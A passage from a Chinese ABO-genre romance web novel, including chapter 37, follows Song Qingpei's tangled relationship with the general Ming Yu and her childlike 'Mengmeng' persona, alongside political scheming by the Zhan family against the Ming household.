她伸出手,轻轻拍了拍梦梦的手背,声音温柔:“好了好了,我不哭了,你也别哭了。再哭下去,我们俩都要变成泪人了。” 梦梦抽了抽鼻子,勉强止住了眼泪,但眼眶依旧红红的。 她靠在宋青佩的肩膀上,像一只撒娇的小猫,轻声说:“姐姐,你以后不要再碰那个什么海葵了,好不好?我看着你难受,心里好疼。” “好。”宋青佩点头如捣蒜。 就算梦梦不说,她也不会碰那些乱七八糟的东西了,这一次,着实长记性了,这辈子绝对不再手贱。 两人静静地坐了一会儿,梦梦的情绪渐渐平复下来。 宋青佩的思绪却开始飘远,她想起了明芮的话,心里隐隐有些不安。 梦梦的性格像个孩子,天真、黏人,完全没有明毓平时的冷漠和强势。 这一切,真的只是因为失忆吗?还是说,真的和那个宫博士有关系? 宋青佩犹豫了一下,决定试探一下梦梦。 她轻轻拍了拍梦梦的肩膀,低声问:“梦梦,你还记得宫博士吗?” 梦梦的身体猛地一僵,原本放松的表情瞬间变得紧张起来,呼吸也变得急促,仿佛听到了什么可怕的名字。 猛地,她的手指紧紧抓住宋青佩的衣袖,声音颤抖:“宫博士……她是坏人!姐姐,救我……我好怕……” 宋青佩被梦梦的反应吓了一跳,连忙抱住她安抚:“没事了,梦梦,没事了。有我在,没人能伤害你。” 梦梦的身体依旧在发抖,声音带着哭腔:“姐姐,我不要想起他……她是坏人……她对我做了好多可怕的事情……我好怕……” 宋青佩的心猛地一沉,梦梦的反应让她更加确信,宫博士绝对有问题。 她轻轻拍着梦梦的后背,柔声说:“好了,梦梦,不想了。我们不想那些事情了,好不好?” 梦梦点了点头,紧紧抱住宋青佩,仿佛只有这样,她才能感到安全。 宋青佩心里一阵酸楚,她不敢再继续试探,生怕梦梦的情绪再次失控。 过了一会儿,梦梦的情绪终于平复下来。 她抬起头,脸上还挂着泪痕,但已经不再那么紧张了。 看着宋青佩,声音软软的:“姐姐,我困了,我们睡觉吧。” 宋青佩点了点头,“好,我们睡觉。” 梦梦站起身,开始脱衣服。 她有些嫌弃的解着扣到脖颈的纽扣,一边委屈巴巴地跟宋青佩吐槽:“姐姐,这个好难解啊。” 看着她的动作,宋青佩哭笑不得,只得伸手帮她解开了最上面的纽扣。 指尖碰到微凉的纽扣,她脑子不由愣了一瞬,明毓冷着脸命令她安抚的画面不由一下窜进她的脑子,似乎……她这还是第一次解明毓的军服。 宋青佩愣神的工夫,繁复的军服已经在梦梦的手下片片剥落,她的动作自然而天真,完全没有丝毫的羞涩,很快就脱得**。 看着她那副毫无防备的样子,宋青佩哭笑不得。 梦梦钻进被子里,伸手拉住宋青佩的手,撒娇道:“姐姐,你也进来嘛。” 宋青佩无奈地笑了笑,脱掉外套,钻进被子里。 梦梦立刻像只小猫一样贴了上来,双手紧紧抱住宋青佩的腰,脸贴在她的胸口,轻轻蹭了蹭,两人的肌肤相接,熟悉的触感让宋青佩心里一阵悸动。 梦梦的身上带着淡淡信息素的味道。 那是她熟悉的味道,仿佛能瞬间勾起她心底最深处的柔软。 她一向冷淡的信息素似乎也开始蠢蠢欲动,空气中弥漫着一股暧昧的气息。 梦梦似乎也感受到了这种变化,她的呼吸变得急促,抬起头看着宋青佩,眼中带着一丝天真的放浪:“姐姐,我们来做有趣的事吧。” 宋青佩愣了一下,随即想起,之前每次标记梦梦的时候,都会说做有趣的事,久而久之,这几乎成了两人之间的暗号,不对,几乎是明的。 可是,现在…… 不仅仅是她眼睛的问题,还有明毓和梦梦到底怎么回事,她还没搞清楚,实在不能让事情更加不可控了。 宋青佩轻轻推开梦梦,低声说:“梦梦,别闹了,我眼睛还不舒服呢。” 梦梦却不依不饶,她跨坐在宋青佩身上,双手撑在她的肩膀两侧,低头看着她,眼中带着一丝调皮的笑意:“姐姐,我可以自己来嘛。” 宋青佩瞬间有种搬起石头砸自己脚的滑稽感,这些话……都是她手把手教的,一开始梦梦还有些不好意思,哭着说她欺负她,时间久了,得了趣,于是越发主动配合,只是没想到有一天,这回旋镖会这么射到她身上。 在梦梦的互动的撩拨下,她的呼吸变得急促,身体不由自主地回应着梦梦的靠近。 梦梦低下头,轻轻吻住了她的唇,动作温柔而缠绵。 宋青佩的理智在瞬间崩塌,她的双手不由自主地环住了梦梦的腰,回应着她的吻。两人的信息素在空气中交织,仿佛点燃了一团火焰,将她们彻底吞噬。 然而,就在这关键时刻,明毓的意识突然占据了身体。 她的眼神瞬间变得冷冽,动作也停了下来,看着宋青佩气恼不已,“宋青佩,你是不是忘了自己眼睛还没好呢?” 宋青佩愣了一下,随即反应过来,明毓回来了。 她的脸瞬间涨红,尴尬得恨不得找个地缝钻进去。 她连忙坐起身,低声说:“抱歉,我……我不是故意的。” 明毓的脸色也有些发红,她没想到宋青佩这么冷淡的人,面对她发热期的各种勾引不为所动,面对梦梦却如此禁不起撩拨。 一瞬间,陌生的情绪让她羞恼不已。 低头间,看到自己跨坐在宋青佩身上的羞耻姿势,脸色更加难看。 明毓迅速从宋青佩身上下来,背对着宋青佩,开始穿衣服,耳根处的绯红慢慢爬到了侧脸,她仿佛般故意将纽扣扣到最上面,才转过身看向宋青佩。 仿佛是来自深处的指令,明毓出口就是高高在上的嘲弄语气:“你不是信息素冷淡吗?现在看,不是活跃得很。” 好在宋青佩正尴尬得不知道说什么,完全忽略了她话语里的嘲讽之意,只是默默整理了一下衣服,低声说:“抱歉。” 两人之间的气氛变得异常尴尬,空气中弥漫着一股难以言喻的沉默。 明毓看向宋青佩,声音冷冽:“你为什么要打听宫博士的事情?” 宋青佩心里一紧,没想到明毓会突然问起这个。 她犹豫了一下,低声说:“我只是……有点好奇。” “好奇心害死猫。”明毓冷笑了一声,语气中带着一丝警告:“有些事情,你最好不要知道太多。” 明明是出于关心,却被她说得如此阴阳怪气,宋青佩心里一阵不悦。 她忍不住反驳道:“你就不能好好说话吗?像梦梦一样,多好。” “像个傻子一样乖乖听话,喊你姐姐吗?”明毓似笑非笑地看着她:“我多大,你多大,宋青佩,你真好意思?” 宋青佩被噎得说不出话来。 当时的梦梦天真又黏人,喊她姐姐的时候软糯得不行,听得人心都要化了,她就忍不住满足了一下自己的小癖好,就一直让她喊姐姐了,谁知道明毓居然还比她大两岁。 见她不说话,明毓看向她红肿的眼睛,这才反应过自己误会的事。 “你刚才说,眼睛流泪是因为泪海葵?” “是啊。” 想到自己刚才低声下气地哄了许久,明毓觉得自己蠢极了,宋青佩就是在故意看她笑话,顿时气恼不已,“你怎么不早说?” 宋青佩理直气壮,“你也没问啊。” “你……” 明毓气得脸色涨红,却完全不会吵架,憋了许久,也只憋出一句冷冰冰的警告,“你好好在家待着,别再乱来,不然出了事我不会管你的。” “我知道,暂时也不会去上班了,你不用像看犯人一样看着我。” “我是为你好,你别想偷偷跑出去见慕容……” 两人各说各的,明毓说到一半才反应过宋青佩的话,有些呆愣地问:“你说什么?” 宋青佩道:“我可以答应你不去上班了,你也不能限制我自由。” 明毓从愕然回过神来,半信半疑道:“你不会是想找机会溜走吧?” “我是那样的人吗?”宋青佩对于她的怀疑很不满。 “你说呢?”明毓冷笑:“颂颂当初是怎么被你拐走的。” 提起颂颂,宋青佩又想到了她当初做的混蛋事,原本缓和下来的心情也气恼起来,针锋相对道:“要不是你咄咄逼人让我放弃颂颂,我会走到那一步吗?明毓,物极必反的道理你不明白吗?你要是一直这么以高压手段命令我听你的话,我最后会做出什么……” “你……可以出去,但是必须让人跟着。” 宋青佩的狠话还没说完,明毓眸中闪过一抹不易察觉的惊慌,慌忙打断了她的话,选择了退让。 “行吧。”宋青佩妥协。 起码现在明毓能好好说人话,能让步,能沟通,也算有进步吧。 见她答应了,明毓松了一口气,又看了一眼她红肿的眼睛,不自觉地放柔了声音道:“你早点休息吧,明天再让医生过来看看。” “嗯。” 明毓起身走了,宋青佩看着她的背影,心里一阵复杂。 犹豫了一瞬,她拿起手机,拨通了明芮的电话。 “明芮,我发现了一些事情。”宋青佩低声说道:“‘梦梦’似乎对宫博士这个人很害怕,很恐惧,一提起她就有应激的反应。更奇怪的是,明毓对于‘梦梦’状态的自己拥有绝对的控制权,她可以随时切换到梦梦状态,也随时可以让自己恢复清醒,刚才……” 想到刚才跟‘梦梦’差点干柴烈火,却被明毓突然清醒打断,宋青佩不由臊了一下,顿住了话头,长出一口气,才又将发现的一切都告诉了明芮。 明芮听完后,沉默了片刻,低声说:“我知道了。我的猜测应该是对的,接下来我要验证一下。” 宋青佩不解:“你要干什么?” 明芮没有明说,只是低声说道:“宋小姐,不管发生什么,你一定要记住,表姐真的很在意你。不管是梦梦还是明毓,你都不要放弃她。” 听她这么说,宋青佩心里一紧,总觉得明芮的语气有些不对劲。 她还想再问些什么,明芮却已经挂断了电话。 第37章 我帮你洗澡 战南笙看着被明毓打回的推荐名单,心中怒火中烧。 “明毓,你凭什么!” 她深吸一口气,随后快步走向自己的座驾,吩咐司机:“去军部。” 一路上,战南笙的脑海中不断回放着与明毓的对话。 明毓那副公事公办的模样让她恨得牙痒痒,她战南笙在军部多年,何时受过这样的气?更何况,明毓不过是个Omega,凭什么在她面前趾高气扬? 到达军部后,战南笙径直走向明毓的办公室。 门口的警卫见她气势汹汹,连忙上前阻拦:“战中将,明将军正在开会,您……” “让开!”战南笙冷冷地扫了警卫一眼,语气中带着不容置疑的气势。 警卫被她凌厉的目光震慑,只得退到一旁。 战南笙推开门,看到明毓正与几名高级军官讨论军校的招生计划。 明毓抬头看到战南笙,眉头微皱,但很快恢复了平静。她挥了挥手,示意其他人先离开。 “战中将,有事?”明毓的声音依旧冷淡,仿佛刚才的冲突从未发生过。 战南笙冷笑一声,走到明毓面前,双手撑在办公桌上,居高临下地看着她:“明毓,你别以为有林元帅撑腰,就可以为所欲为。军校招生的事情,不是你一个人说了算!” 明毓抬起头,目光平静地与战南笙对视:“战中将,军校的招生标准是经过军部讨论决定的,一切都是按照程序进行的。” “程序?”战南笙嗤笑一声,“明毓,你别跟我打官腔!你拒绝我举荐的人,不就是想打压我吗?我告诉你,这件事没完!” 明毓语气平静:“战中将,军校的招生必须公平公正。任何人,包括你我,都必须遵守规则,如果你有异议,可以向军部提出申诉。” “你!”战南笙被明毓的态度激得怒火中烧,“明毓,你别以为我不敢动你!” 对此,明毓完全不为所动:“战中将,如果你没有其他事情,请离开。我还有工作要处理。” 战南笙气得脸色铁青,狠狠地瞪了明毓一眼,咬牙切齿地说:“好,很好!明毓,你给我等着!” 说完,她转身大步离开,摔门而去。 明毓看着战南笙离去的背影,不以为然地扯了扯嘴角。 她知道,战南笙不会轻易罢休,但她也绝不会因此妥协,若是一开始就低头,她这个校长还做得什么劲。 与此同时,战南笙离开军部后,直接驱车前往总统府。 她心中的怒火已经无法遏制,必须找父亲讨个说法。 总统府内,战笠正与妹妹战绮讨论事情。 战南笙推门而入,气势汹汹地说:“父亲,明毓太过分了!她不仅拒绝了我举荐的人,还公然挑衅我!这个校长的位置,凭什么让她坐?” 远远地就听到大呼小叫,战笠抬起头,眉头紧锁。 看向进门的战南笙,他语气严厉道:“南笙,你都做中将了,怎么这么不稳重?难怪比不上明毓。” 最后的话深深刺痛了战南笙,立刻反驳道:“父亲,您总是拿明毓跟我比!她不过是个Omega,凭什么处处压我一头?我不服!” 战笠的脸色沉了下来,语气严厉:“南笙,你太让我失望了!军校的事情关系到军部的未来,不是你争权夺利的工具!你现在要做的是以副校长的身份配合明毓,把军校的事情办好,而不是在这里无理取闹!” 战南笙被父亲的训斥激得眼眶发红,她咬着牙,倔强地说道:“父亲,您就是看不上我!从小到大,您都觉得我不如明毓!我到底哪里做得不好?” 战笠看着女儿激动的样子,心中也有些无奈。 他叹了口气,语气稍微缓和了一些:“南笙,我不是看不上你,而是希望你能成熟一些。军校的事情不是你一个人说了算,你必须学会与人合作,这正是个磨炼你的好机会。” 战南笙依旧不服,正要继续争辩。 一旁的战绮连忙打圆场:“好了好了,南笙也是性子要强,这没什么不好的。大哥,您就别再训她了。” 战绮说着走到战南笙身边,拍了拍她的肩膀,柔声说:“南笙,你先别急,姑姑知道你心里委屈。再等等,这个校长的位置,姑姑一定帮你拿到。” 战南笙抬起头,眼中闪过希望:“姑姑,您有办法?” 战绮微微一笑,神秘地说:“你稍安勿躁,别急,等着乌澜那边的消息。” “乌澜?”战南笙一愣,随即神色变得不满,“她回来了?怎么没跟我说?” 战绮正要解释,办公室的门被推开。 一身制服的高挑女子走了进来,她的头发挽起,五官精致中不失锐利,身高腿长,行走间步态轻盈,显然是练过的样子。 她进门,敏锐的感到屋内的气氛有些紧张,却依旧保持着规矩,例行公事般向战笠:“总统好,调查局局长乌澜向您报到。” 战笠熟稔道:“乌澜,这里没有外人,不用这么正式。” 闻言,乌澜从善如流地收起了一本正经的模样,笑道:“这是怎么了?一家人还吵起来了?” “唉,还不是这不成器的……” 说到一半,终究还是顾虑战南笙的面子,战笠戛然而止,皱眉看向战南笙。 而战南笙的目光,从乌澜进门就死死地落在她身上,一言不发。 “乌澜,你可算回来了。”战绮一副迫不及待的模样,问:“怎么样了?明芮有行动了吗?只要等她行动我们立刻给明家致命一击,这口气我可憋太久了。” 乌澜道:“还没有,一旦她有行动,我会立刻通知您的。” 闻言,战绮一脸失望。 一旁的战南笙听到她们说起明家,立刻来了精神,询问道:“你们到底在说什么?明家是有什么把柄露出来了吗?快告诉我,这次我一定要整死明毓……” “行了。”战笠不耐烦地挥了挥手:“南笙,你先出去吧,我还有事跟乌澜说。” 战南笙看了乌澜一眼,咬了咬牙,转身离开了办公室。 见状,战绮也站起身,对战笠说:“大哥,那我也先走了。您也别太生气,南笙还年轻,需要时间成长。” 战笠点了点头,目送战绮离开。 战笠坐在椅子上,眉头紧锁,手指轻轻敲击着桌面,似乎在思索着什么。 乌澜站在他面前,神情恭敬,等着他的进一步示下。 “蓝海的事情查得怎么样了?”战笠抬起头,目光锐利地看向乌澜。 乌澜点了点头,语气沉稳:“总统,联邦调查局已经确认,黑鸢花反派组织的负责人慕容暇并没有死。而慕容瑞雪,是慕容暇的养女。这些年来,她一直潜伏在蓝海内部,表面上没有任何动作,她的真实目的目前还不清楚。” 战笠的眉头皱得更紧了,他沉吟片刻,低声问道:“还有没有别的发现?” 乌澜翻开手中的文件,继续汇报道:“根据我们的情报,慕容瑞雪最近与明毓上将和宋惜寒走得很近。明上将还通过了关于蓝海的人才招纳计划,似乎有意将慕容瑞雪纳入军校的交易团队。” 说着,乌澜顿了一下,请示般看向战笠,“总统,是否需要提前将这件事告知明毓上将,以免她不知情,陷入被动?” 战笠沉默了一会儿,摇了摇头:“暂时不必。明毓一贯行事谨慎,她既然主动接近慕容瑞雪,必然有她的打算。我们不妨静观其变,看看她到底想做什么。你继续查下去,务必搞清楚慕容暇授意慕容瑞雪潜伏下来的真正目的。” 乌澜点头应下:“是,总统。我会继续跟进。” 战笠的目光稍稍缓和了一些,但随即又叹了口气,语气中带着几分无奈:“南笙这孩子,好胜心太强了,她和明毓较劲,我担心她会惹出什么麻烦。乌澜,你多盯着她点,别让她做出什么出格的事。” “您不必太担心。”乌澜微微一笑,语气中带着几分安抚:“大小姐虽然好胜心强了些,但她的能力还是毋庸置疑的。她只是需要一些时间来调整心态,毕竟明毓上将的确是个强劲的对手。” 战笠的脸色稍微缓和了一些,点了点头:“希望如此吧。”他顿了顿,似乎想起了什么,语气变得有些沉重,“还有战绮……当年明熙出轨的事情,终究是她心里的一根刺。她这些年对明家的打压,我也看在眼里,给明家一个教训就行了,别太过分。毕竟,明家现在还有明毓在,她可不是好惹的。” “我明白,总统。”乌澜点头,语气恭敬:“我会提醒,让她适可而止。” 战笠挥了挥手,示意乌澜可以离开了:“好了,你去忙吧。有什么新的进展,随时向我汇报。” 乌澜微微鞠躬,转身离开了办公室。 乌澜走出总统办公室,穿过长长的走廊,脚步沉稳而从容。 然而,就在她走到走廊拐角处时,突然一只手臂从侧面伸了过来,一把拽住她的胳膊,将她狠狠地摁在了墙上。 她的后背撞在冰冷的墙面上,不由皱了皱眉,抬眼看向面前的人。 战南笙正一脸怒气地盯着她,那双漂亮的眼睛里燃烧着怒火,仿佛要将她烧穿。 “大小姐,别闹。”乌澜的声音依旧平静,带着一丝无奈。 “别闹?”战南笙冷笑一声,声音里带着明显的嘲讽,“乌澜,你回来了为什么不跟我说一声?是不是我不找你,你就永远不会主动来找我?” 乌澜叹了口气,语气中带着几分疲惫:“我有任务在身,不方便联系你。” “任务?”战南笙嗤之以鼻,语气中满是不屑,“老头子每天让你在外面跑来跑去,也不知道在忙些什么。我问你,我姑姑让你干什么了?是不是跟明毓有关系?” 乌澜的眼神微微一凝,但很快恢复了平静。 她摇了摇头,语气坚定:“大小姐,这些事情我不能说。” 战南笙的脸色瞬间沉了下来,她凑近乌澜,几乎贴到她的耳边,声音压得极低:“乌澜,你别以为我不知道你在想什么。我告诉你,校长的位置迟早是我的,你最好别挡我的路。” 乌澜没有躲开,只是淡淡地看着她,语气平静:“你放心,校长的位置会是你的。只是现在时机未到,你需要耐心等待。” 战南笙冷哼一声,显然对她的回答并不满意。 但她没有再继续逼问,而是突然换了个话题,语气中带着一丝暧昧:“今晚八点,云海酒店,1808号房间,我等你。” 乌澜皱了皱眉,拒绝道:“抱歉,今晚我有事,恐怕不能赴约。” 战南笙冷笑一声,眼中闪过一丝危险的光芒,“乌澜,我给你脸了是不是?你猜,老头子要是知道你把他唯一的女儿给睡了,会怎么弄死你?” 乌澜的脸色瞬间变得难看,她的眼神冷了下来,“大小姐,这种玩笑可开不得。” “玩笑?”战南笙嗤笑一声,语气中满是嘲讽,“乌澜,你别忘了,上次你可是让我吃了大亏。今晚,我一定要报仇。” 乌澜的目光在战南笙的脸上停留了许久,最终点了点头:“好,我会去的。” 战南笙满意地笑了笑,伸手拍了拍乌澜的脸颊,语气中带着几分得意:“洗干净点,我可不想闻到别人的味道。” 说完,她松开乌澜,转身离开。 军靴在地板上敲击出清脆的声响,仿佛在宣告她的胜利。 乌澜站在原地,看着战南笙的背影逐渐消失在走廊尽头,嘴角缓缓扬起一个诡异的弧度,仿佛一只盯上猎物的猛兽。 “真是个没脑子的大小姐。” 她低声喃喃,语气中带着几分嘲讽,“上次下药吃了亏,没想到还是一点记性也不长。既然如此,就别怪我不客气了。” 她整理了一下被战南笙弄皱的衣袖,转身朝着相反的方向走去。 走廊的灯光将她的影子拉得很长,显得格外孤冷而危险—— 阳光透过窗帘的缝隙洒进房间。 宋青佩缓缓睁开眼睛,只觉得眼皮沉重得像是压了两块石头。她抬手摸了摸眼睛,触手一片肿胀,几乎只能勉强睁开一条缝。 她摸索着下了床,走到镜子前,看到镜中的自己时,忍不住倒吸了一口凉气。 镜子里的人双眼肿得像两颗核桃,皮肤泛着不自然的红,整个人看起来狼狈不堪。 她苦着脸,忍不住叹了口气:“这还怎么见人啊……” 就在这时,房门被轻轻推开,颂颂探出小脑袋,眨巴着大眼睛看向宋青佩。 看到妈妈一脸愁容,她立刻跑了进来,关切地问:“妈妈,你的眼睛还疼吗?” 宋青佩勉强笑了笑,伸手摸了摸颂颂的头:“还好,就是肿得厉害,有点难看。” 颂颂歪着头想了想,突然眼睛一亮,转身跑出了房间。 没过多久,她手里拿着一根漂亮的丝带跑了回来,丝带是浅蓝色的,上面还绣着精致的花纹。 “妈妈,你看这个!”颂颂兴奋地举起丝带,“我们可以用它来绑住你的眼睛,这样就看不到了!” 宋青佩愣了一下,随即笑了起来:“颂颂真聪明,这主意不错。” 颂颂得意地扬了扬小脸,随后又跑去找苏管家,找来消毒水,小心翼翼地给丝带消毒清洗,等干了,又涂上药,献宝一样拿给宋青佩。 宋青佩配合地低下头,“颂颂给妈妈系上吧。” 她踮起脚尖,将丝带轻轻绑在宋青佩的眼睛上,动作轻柔得像是在对待一件珍宝。 “妈妈,你看,这样是不是漂亮多了?”颂颂满意地看着自己的杰作。 宋青佩虽然看不见,但伸手摸了摸丝带,心里涌起一股暖流:“颂颂真是妈妈的贴心小棉袄,妈妈好感动。” 颂颂笑得眼睛弯成了月牙,扑进宋青佩怀里:“妈妈不痛痛,颂颂陪着你!” 一整天,颂颂都守在宋青佩身边,像个小大人一样照顾她。 她给宋青佩讲故事,讲学校里发生的趣事,还时不时地问:“妈妈,你还疼不疼?无不无聊啊?” 宋青佩虽然眼睛看不见,但心里却暖暖的。 她听着颂颂稚嫩的声音,感受着她无微不至的关心,觉得时间过得飞快,仿佛眼睛的疼痛也变得不那么难以忍受了。 两人吃过晚饭,传来明毓沉稳的脚步声。 她走进客厅,看到宋青佩坐在沙发上,眼睛上绑着丝带,眉头微微皱了一下。 “眼睛好*点了吗?”明毓的声音依旧冷淡,带着公事公办的语气。 宋青佩还没来得及回答,颂颂已经像一只小兔子一样冲了过去,挡在明毓面前,双手叉腰,一脸严肃:“妈咪,你要温柔些!妈妈痛痛,你要对她好好!” 明毓愣了一下,低头看着颂颂那张稚嫩却认真的小脸,一时间有些哭笑不得。 她努力让自己的声音听起来柔和一些:“好,我知道了。” 颂颂拉了拉她的衣角,又提出新的要求:“妈咪,你要对妈妈笑一笑,这样妈妈才会开心!” 明毓低头看着颂颂,努力扯了扯嘴角,露出一个略显僵硬的笑容。 颂颂不满意地摇了摇头:“妈咪,你要笑得像妈妈那样,温柔一点!” 而明毓这才回过神来,一本正经:“你妈妈看不到。” “对哦,妈妈现在看不到。”颂颂苦恼地自言自语着,又很快反应过来,一脸认真:“但是妈妈看不到,可以感受到啊,所以你还是要笑,要温柔一点。” 宋青佩听到母女俩的对话,忍不住笑出了声。 她的嘴角微微上扬,虽然眼睛被丝带遮住,但那抹笑意却格外动人。 明毓看到她的笑容,不由得愣了一下。 那笑容像极了曾经她渴望的,仿佛一缕阳光穿透了她冰冷的外壳,直击心底。 她深吸一口气,努力让自己的声音听起来更加柔和:“你的眼睛……还疼吗?” 宋青佩摇了摇头,语气轻松:“好多了,颂颂今天一直陪着我,给我讲故事,还帮我绑了丝带。有她在,我一点都不觉得无聊。” 明毓目光落在颂颂身上,眼中闪过一丝温柔:“颂颂,今天辛苦你了。” 颂颂得意地扬了扬小脸:“不辛苦!妈妈痛痛,我要照顾她!” 明毓伸手摸了摸颂颂的头,语气中带着几分赞许:“你做得很好。” 见明毓回来陪着颂颂,宋青佩准备回房间休息会儿,她缓缓站起身,摸索着朝前走去。因为眼睛被丝带遮住,视线一片黑暗,只能依靠记忆和感觉来判断方向。 见状,颂颂立刻推了推站明毓,小声催促:“妈咪,你快扶着妈妈啊,她看不见路!” 明毓愣了一下,随即快步走到宋青佩身边,伸手握住了她的手。 两人的掌心相贴,一股微妙的触感瞬间从指尖蔓延至心底。 宋青佩的手指微微颤抖了一下,但很快平静下来,任由明毓牵着。 明毓的手掌温暖而有力,带着一丝薄茧,显然是常年握枪留下的痕迹。 两人一路沉默,只有脚步声在走廊里轻轻回荡。 直到走进房间,明毓才松开手,低声说道:“你躺下休息吧,我去叫女佣过来。” 宋青佩点了点头,摸索着坐到床边。 明毓站在原地,看着宋青佩略显疲惫的神情,心里突然涌起一股复杂的情绪。 她张了张嘴,似乎想说些什么,但最终只是转身准备离开。 就在这时,宋青佩突然开口:“对了,能麻烦你叫个女佣过来帮我放一下洗澡水吗?我想洗个澡。” 明毓的脚步顿了一下,语气中带着一丝犹豫:“你……现在眼睛不方便,洗澡会不会有危险?” “没事的,我只是眼睛看不见,又不是不能动。你让女佣帮我放好水,扶我进浴缸就行,剩下的我自己来。” 明毓沉默了片刻,脱口而出:“我帮你洗就行。” 这句话一出口,两人都愣住了。 宋青佩手指不自觉地抓紧了床单,语气中带着几分慌乱:“不、不用了,这太麻烦你了……” “没什么麻烦的。” 宋青佩张了张嘴,想要拒绝,但明毓已经转身走向浴室。 她站在原地,听着浴室里传来的水声,心里乱成一团。 她忍不住如脱缰野马般揣测着明毓的想法,为什么会突然提出这么尴尬的要求,明明只是叫个女佣就可以解决的事,而且明毓并不是温柔体贴会照顾人的性格。 宋青佩总觉得,这个行为不太合理。 是单纯的示好,还是……应该不至于,她的发热期不是刚过去吗? 此时,明毓的声音从浴室里传来:“水温差不多了,你进来吧。” 宋青佩咬了咬牙,最终还是站起身,摸索着朝浴室走去。 明毓站在浴室门口,伸手扶住她的胳膊,低声说道:“小心点,地上有点滑。” 宋青佩点了点头,任由明毓扶着她走进浴室。 浴缸里的水温刚刚好,热气蒸腾,空气中弥漫着一股淡淡的香气。 明毓松开手,低声说:“你脱衣服吧,我扶你进浴缸。” 宋青佩的脸忍不住红了,语气中带着几分尴尬:“你……你先出去吧,我自己来就行。” 明毓却站在原地没动,“又不是没看过,你矫情什么?” 真的是狗嘴里吐不出象牙,她哪里矫情了,只是不太习惯而已。 可是听明毓这语气,应该没别的想法,毕竟她除了发热期本能有需求之外,跟她一样的冷淡,想到这儿的宋青佩,松了一口气。 宋青佩咬了咬牙,手指轻轻搭在衣扣上,解开了第一颗纽扣。 她的动作很慢,仿佛在给自己时间适应这种尴尬的氛围。 随着衣扣一颗颗解开,白皙的肌肤逐渐显露出来,锁骨线条优美,肩颈处的肌肤在浴室的暖光下泛着淡淡的光泽。 明毓站在一旁,目光不由自主地落在宋青佩的身上。 她的呼吸微微一滞,喉咙有些发紧,她原本以为自己可以冷静地面对这一切,毕竟除了发热期来临时,她几乎从不会被欲。望左右。 然而,随着宋青佩的上衣缓缓滑落,露出纤细的腰肢和柔软的曲线。 明毓的视线已经无法移开,心底涌起一股难以名状的热流,仿佛有什么东西在悄然失控。她的手指不自觉地握紧,指尖微微发麻,心跳也逐渐加快。 “我这是怎么了?”明毓在心底质问自己。 她明明不是发热期,为什么会有这样的反应? 理智告诉明毓应该立刻转身离开,可她的身体却像是被钉在了原地,无法动弹。她的目光忍不住停留在宋青佩的身上,仿佛被某种无形的力量牵引着。 宋青佩似乎察觉到了明毓的注视,动作微微一顿。她的手指停在裙子上,犹豫了一下,最终还是脱掉了。 凹凸有致的曲线在眼前晃来晃去,明毓的呼吸变得急促起来,她感到自己的身体开始发热,仿佛有一团火焰在体内燃烧,心底的热意如同潮水般涌来,几乎要将她的理智淹没。 明毓猛地转过身,背对着宋青佩,试图平复自己紊乱的呼吸。 宋青佩背脊僵硬,她能感觉到宋青佩的目光落在自己的身上,那种灼热的感觉让她几乎无法忍受,好在,这种目光忽然感觉不到了,大概是明毓出去了吧。 她摸索着浴缸的边缘,试图尽快洗完澡结束这尴尬。 可是因为看不清,加上地比较滑,她一不小心差点直接扑倒在浴缸里,吓得发出一声尖叫:“啊!” 明毓听到她的叫声,立刻转过身,两步过去扶住了她。 **的宋青佩直接倒在了她怀里。 一瞬间,宋青佩恨不得找个坑把自己埋了,她这个样子活像是在勾引人,说不是故意的她自己都不行,丢人丢到家了。 明毓感受着怀中灼热的身体,努力让自己的声音听不出颤意:“小心点,我扶你进去。” 宋青佩惊魂未定的点了点头,任由明毓扶着她走进浴缸。 温热的水包裹住她的身体,让她紧绷的神经稍稍放松了一些。 明毓蹲在浴缸边,低声问:“水温合适吗?” 宋青佩点了点头,声音低得几乎听不见:“嗯,刚刚好。” 明毓没有再说话,只是默默地看着她。 浴室里安静得只剩下水声,空气中弥漫着一股暧昧的气息。 宋青佩的眼睛被丝带遮住,视觉的缺失,让她的听觉和触觉变得格外敏锐。 她能清晰地听到明毓的呼吸声,似乎比平时沉重了许多,甚至能感受到她身上散发出的淡淡信息素的味道。 这种微妙的气氛让宋青佩心里越发别扭,她匆匆洗了洗,便准备起身:“我洗好了,你把浴袍拿给我吧。” 然而,她刚一动,明毓的手便按住了她的肩膀,将她重新摁回浴缸里。 明毓的声音低沉而克制:“没冲干净。” 宋青佩的身体微微一僵,感受到明毓的手指撩起温水,然后轻轻划过她的皮肤,似乎真的在帮她冲洗一般。 她的心跳陡然加快,呼吸也变得急促起来。 空气中弥漫着明毓的信息素味道,越来越浓烈,让宋青佩感到一阵不安。 “我真的洗好了,你把浴袍给我吧。”宋青佩试图推开明毓的手。 明毓却没有松开,反而凑近她,声音里带着几分模糊的质问:“为什么梦梦可以,我就不行?” 她说得含糊,但是宋青佩明白了,心里更是有苦难言。 之前她确实忍不住标记了梦梦,昨天又差点忍不住擦枪走火,可是面对明毓,她始终还在保持着理智,并没有真的越过雷池,此刻她还没搞清楚明毓和梦梦的事情,更不知道该如何回答这个问题。 她咬了咬牙,低声反驳:“都不行,别闹了。” 明毓冷笑一声,语气中带着几分嘲讽:“昨晚你的信息素可不是这样的。” 宋青佩沉默了。 她无法否认,昨晚在梦梦的撩拨下,她的信息素确实失控了。 两人僵持着,气氛紧张得几乎能拧出水来。 宋青佩深吸一口气,试图摆出病人的姿态:“明毓,你差不多行了,我还是病人啊!” 明毓盯着她看了几秒,最终缓了缓脸色,往后退了退。 但她并没有就此罢休,而是冷不防地吐出一句:“宋青佩,喊我姐姐。” 宋青佩难以置信地看向她:“你这是趁火打劫!” 明毓冷笑一声,语气中带着讥讽:“你占了我多久便宜,心里没数吗?” 宋青佩被她说得哑口无言。 确实,她之前借着梦梦的身份,没少占明毓的便宜。但让她现在喊明毓“姐姐”,她实在是喊不出口。 两人僵持不下。 宋青佩赤裸着身体,感觉热气褪去,她甚至感觉到阵阵凉意。 就在这时,门外突然传来颂颂的敲门声:“妈妈,妈咪,开门啊!” 宋青佩如蒙大赦,赶紧催促明毓:“快把浴袍给我,被颂颂看到不好!” 明毓皱了皱眉,显然对颂颂的突然出现不甘心,但她还是妥协了,转身拿起浴袍递给宋青佩。 宋青佩迅速穿上浴袍,系好腰带,这才松了一口气。 明毓走到门口,打开门,颂颂立刻扑了进来,抱住宋青佩的腿:“妈妈,你在洗澡吗?我也要洗!” 宋青佩蹲下身,摸了摸颂颂的头,语气温柔:“颂颂乖,妈妈已经洗好了,待会儿让妈咪帮你洗,好不好?” 颂颂撅了噘嘴,但很快又笑了起来:“好!那妈妈陪我玩!” 